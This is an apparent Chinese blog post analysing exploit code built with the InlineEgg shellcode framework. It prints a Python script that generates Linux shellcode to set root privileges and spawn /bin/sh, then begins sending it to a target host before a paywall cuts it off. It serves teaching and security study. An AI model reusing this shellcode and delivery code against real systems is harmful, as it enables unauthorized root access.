安全漏洞利用代码案例分析
1. InlineEgg I 案例分析
1.1 概述
InlineEgg 是由 CORE SDI 的研究人员开发的,旨在为他们的产品套件实现一个动态且可扩展的漏洞利用框架。它可以为多个平台上的多个系统调用创建 shellcode,并且能在 Python 脚本中快速使用。其 shell 创建技术处于市场领先地位。
1.2 代码分析
以下是 InlineEgg I 的代码:
from inlineegg.inlineegg import *
import socket
import struct
import sys
def stdinShellEgg():
# egg = InlineEgg(FreeBSDx86Syscall)
# egg = InlineEgg(OpenBSDx86Syscall)
egg = InlineEgg(Linuxx86Syscall)
egg.setuid(0)
egg.setgid(0)
egg.execve('/bin/sh',('bash','-i'))
print "Egg len: %d" % len(egg)
return egg
def main():
if len(sys.argv) < 3:
raise Exception, "Usage: %s <target ip> <target port>"
sock = socket.socket(socket.AF_INE
超级会员免费看
订阅专栏 解锁全文
3262

被折叠的 条评论
为什么被折叠?



